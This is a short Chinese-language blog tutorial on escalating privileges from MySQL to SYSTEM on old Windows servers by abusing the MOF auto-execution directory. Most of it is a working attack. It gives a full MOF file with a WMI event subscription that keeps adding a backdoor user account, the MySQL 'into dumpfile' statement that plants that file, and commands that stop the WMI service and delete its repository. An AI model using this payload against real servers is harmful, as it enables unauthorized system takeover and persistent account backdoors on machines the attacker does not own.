1. 程式人生 > 其它 >Mysql提權(三)---MOF提權

Mysql提權(三)---MOF提權

一、原理

利用了 c:/windows/system32/wbem/mof/ 目錄下的 nullevt.mof 檔案,每分鐘都會在一個特定的時間去執行一次的特性,來寫入我們的cmd命令使其被帶入執行,以系統許可權執行

二、提權的條件

1.windows 03及以下版本
2.mysql啟動身份具有許可權去讀寫c:/windows/system32/wbem/mof目錄
3.secure-file-priv引數不為null

三、nullevt.mof的利用程式碼

#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hpdoger 123456 /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

四、上傳mof

使用sql語句將檔案匯入到c:/windows/system32/wbem/mof/ (一般是win2003 ,Windows2008以上由於保護機制,較少能夠成功(無法寫入))

select load_file("C:/phpStudy/WWW/222.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"

要注意的是,這裡不能使用outfile,因為會在末端寫入新行,因此mof在被當作二進位制檔案無法正常執行,所以我們用dumpfile匯出一行資料

五、關於MOF提權的弊端

我們提權成功後,就算被刪號,mof也會在五秒內將原賬號重建,那麼這給我們退出測試造成了很大的困擾,所以謹慎使用。那麼我們如何刪掉我們的入侵賬號呢?
cmd 下執行下面語句:

net stop winmgmt
del c:/windows/system32/wbem/repository
net start winmgmt